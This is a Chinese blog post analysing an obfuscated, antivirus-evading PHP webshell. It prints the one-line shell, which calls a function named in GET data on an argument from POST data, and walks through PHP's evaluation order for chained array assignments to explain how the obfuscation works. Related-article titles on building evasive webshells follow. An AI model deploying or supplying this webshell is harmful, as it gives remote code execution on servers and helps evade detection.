分析一个免杀webshell发现的php特性
文章首发于t00ls,嫌文章太啰嗦的可以直接看结论
起源
之前看到别人分享的一个免杀webshell:
<?php
@$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})];
?>
开始是百思不得其解,后来在测试过程中通过分解和删减语句渐渐的对这段代码的执行顺序产生了疑惑,所以就有了如下的简单试验
分析
假设赋值语句为:$a[x]=$b[y]=c我们都知道值传递是从右到左,那么当数组的索引也是表达式的多重赋值中,顺序是怎么样的呢,我给出了下面3种假设:
(1)
1.Y
2.$b[y]=c
3.X
4.$a[x]=$b[y]
(2)
1.Y
2.X
3.$b[y]=c
4.$a[x]=$b[y]
(3)
1.X
2.Y
3.$b[y]=c
4.$a[x]=$b[y]
为了查明正确的执行顺序,弄了个简单的实例:
<?php
$a = array(1,2,3);
$a[$a[0]=$a[1]+2] = $a[$a[1]=$a[2]-3] = 100;
var_dump($a);
?>
顺序(1)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[1] = $a[2] - 3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = 100
数组:$a[0] = 100,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0]
3.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3,表达式:$a[2] = $a[0]
4.$a[2] = $a[0] = 2
结果:$a[0] = 2,$a[1] = 0,$a[2] = 2
顺序(2)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[1] = $a[2]-3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3 表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3 表达式:$a[2] = $a[0] = 100
3.$a[2] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 100
顺序(3)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[0] = $a[1]+2 = 4
数组:$a[0] = 4,$a[1] = 2,$a[2] = 3 表达式:$a[4] = $a[$a[1]=$a[2]-3] = 100
2.$a[1] = $a[2] -3 = 0
数组:$a[0] = 4,$a[1] = 0,$a[2] = 3 表达式:$a[4] = $a[0] = 100
3.$a[4] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 3,$a[4] = 100
程序运行结果:
可以知道,执行的顺序应为3,即当$a[xx]=$b[***]=$c的时候,执行的顺序是
xx -> *** -> 从右到左依次赋值
结论
再回头看webshell,正确的执行顺序应该为:
1.$GLOBALS[func]=current($GLOBALS)[GLOBALS] (_GET中的内容赋值给$GLOBALS[func])
2.$GLOBALS[code]=next($GLOBALS)[GLOBALS] (_POST中的内容赋值给$GLOBALS[code])
3.$GLOBALS{func}($GLOBALS{code}); (变量函数中传入变量)
其他的赋值语句都是混淆
分析一个免杀webshell发现的php特性的更多相关文章
- 全方位构造免杀 webshell 小结[一]
转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/ 全方位构造免杀 webshell 小结[一] 前言: 本 ...
- [Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)
从攻防对抗辩证性分析jsp免杀 从最早的最朴素木马 <%@ page import="java.io.InputStream" %> <%@ page impor ...
- 浅析JAVA Runtime原理与过各大厂商免杀webshell制作
Author:Sevck Date:2017年6月24日 昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用ba ...
- 【转】PHP利用Apache、Nginx的特性实现免杀Webshell
转载备忘: get_defined_vars().getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell. 前几天看到的,一直忘记写,填坑. 环境 函数 用法 ...
- 流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...
- 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...
- 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍
第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...
- 2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践 目录 实验内容与步骤 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践
Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...
随机推荐
- 备战noip week8
POJ1144 网络 description: 给出一张\(N\)个点的无向图,求其中割点的个数 data range: \(N\le 100\) solution: 一道模板题(但是读入实在是把我恶 ...
- html2canvas.js——HTML转Canvas工具
我们经常会遇上动态生成海报的需求,而在Web前端中,生成图片非Canvas莫属.但是在实际工作当中,为了追求效率,我们会不可避免地去使用一些JS插件,而html2canvas.js就是一款优秀的插件, ...
- python中的类方法,实例方法和静态方法的区别
类方法是类的方法,在定义的时候要在上方加上一个@classmethod装饰器来进行装饰,形参是cls,类和实例都可以取调用类方法: 实例方法是实例对象方法,只有实例可以调用,类是不能调用的,形参是se ...
- [Luogu P4215] 踩气球 (线段树)
题面 传送门:https://www.luogu.org/problemnew/show/P4215 Solution 这题十分有意思. 首先,我们可以先想想离线做法,因为在线做法可以从离线做法推出. ...
- Python3网络学习案例一:Ping详解
1. 使用Ping做什么 ping用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包,再根据返回的信息,就可以推断TCP/IP参数是否设置正确,以及运行是否正常.网络是否通畅等. 2. 效 ...
- Newton插值的C++实现
Newton(牛顿)插值法具有递推性,这决定其性能要好于Lagrange(拉格朗日)插值法.其重点在于差商(Divided Difference)表的求解. 步骤1. 求解差商表,这里采用非递归法(看 ...
- MySql中指定符号分割并分行展示
1.涉及到的函数三个: 1.1 REPLACE('value','str1','str2') 用法规则:使用str2替换掉value中的所有的str1; SELECT REPLACE('我来了','来 ...
- Vue常用性能优化
Vue常用性能优化 Vue常用的一些优化方式,主要是在构建项目过程需要注意的方面. 编码优化 避免响应所有数据 不要将所有的数据都放到data中,data中的数据都会增加getter和setter,并 ...
- Haskell
Haskell 为什么业界很少使用 Haskell? http://lilydjwg.is-programmer.com/posts/31620 Haskell教程 http://www.cnblog ...
- [MIT6.006] 6. AVL Trees, AVL Sort AVL树,AVL排序
之前第5节课留了个疑问,是关于"时间t被安排进R"的时间复杂度能不能为Ο(log2n)?"和BST时间复杂度Ο(h)的关系.第6节对此继续了深入的探讨.首先我们知道BST ...